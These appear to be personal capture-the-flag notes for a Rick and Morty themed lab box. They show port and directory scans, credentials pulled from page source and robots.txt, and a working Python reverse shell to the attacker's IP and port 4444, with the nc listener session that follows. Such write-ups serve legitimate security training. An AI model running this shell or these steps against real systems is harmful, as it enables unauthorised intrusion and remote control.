10.10.101.63
10.21.171.239
nmap -A $TARGET -T4 -p- --oN nmap.txt
Starting Nmap 7.93 ( <https://nmap.org> ) at 2025-10-04 16:36 CEST
WARNING: RST from 10.10.187.63 port 22 -- is this port really open?
Nmap scan report for 10.10.187.63
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c07fa743b332d577dd39323629b14f4 (RSA)
| 256 8ff247edd6760239aada6c93605f8b57 (ECDSA)
|_ 256 f48049eb8aea6a71e8fcf43c687a1c49 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Rick is sup4r cool
|_http-server-header: Apache/2.4.41 (Ubuntu)
view-source:http://10.10.187.63/
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
http://10.10.187.63/robots.txt
Wubbalubbadubdub
feroxbuster --insecure -w /opt/lists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "<http://$TARGET>" -d1 -x php,txt,html,htm,zip
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ <http://10.10.187.63>
🚀 Threads │ 50
📖 Wordlist │ /opt/lists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php, txt, html, htm, zip]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 1
🎉 New Version Available │ <https://github.com/epi052/feroxbuster/releases/latest>
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 6l 430w 37609c <http://10.10.187.63/assets/bootstrap.min.js>
200 GET 2l 1283w 86927c <http://10.10.187.63/assets/jquery.min.js>
200 GET 1493l 8917w 917403c <http://10.10.187.63/assets/rickandmorty.jpeg>
200 GET 201l 1054w 91974c <http://10.10.187.63/assets/portal.jpg>
200 GET 25l 61w 882c <http://10.10.187.63/login.php>
301 GET 9l 28w 313c <http://10.10.187.63/assets> => <http://10.10.187.63/assets/>
200 GET 37l 110w 1062c <http://10.10.187.63/index.html>
200 GET 6l 1460w 121458c <http://10.10.187.63/assets/bootstrap.min.css>
200 GET 37l 110w 1062c <http://10.10.187.63/>
302 GET 0l 0w 0c <http://10.10.187.63/portal.php> => <http://10.10.187.63/login.php>
200 GET 1l 1w 17c <http://10.10.187.63/robots.txt>
http://10.10.187.63/login.php (R1ckRul3s:Wubbalubbadubdub)
#commande à entrer dans le command panel
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.21.171.239",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
#reverse shell
nc -lvnp 4444
Ncat: Version 7.93 ( <https://nmap.org/ncat> )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.101.63.
Ncat: Connection from 10.10.101.63:37462.
$ ls
ls
Sup3rS3cretPickl3Ingred.txt clue.txt index.html portal.php
assets denied.php login.php robots.txt
$ cat Sup3rS3cretPickl3Ingred.txt
cat Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair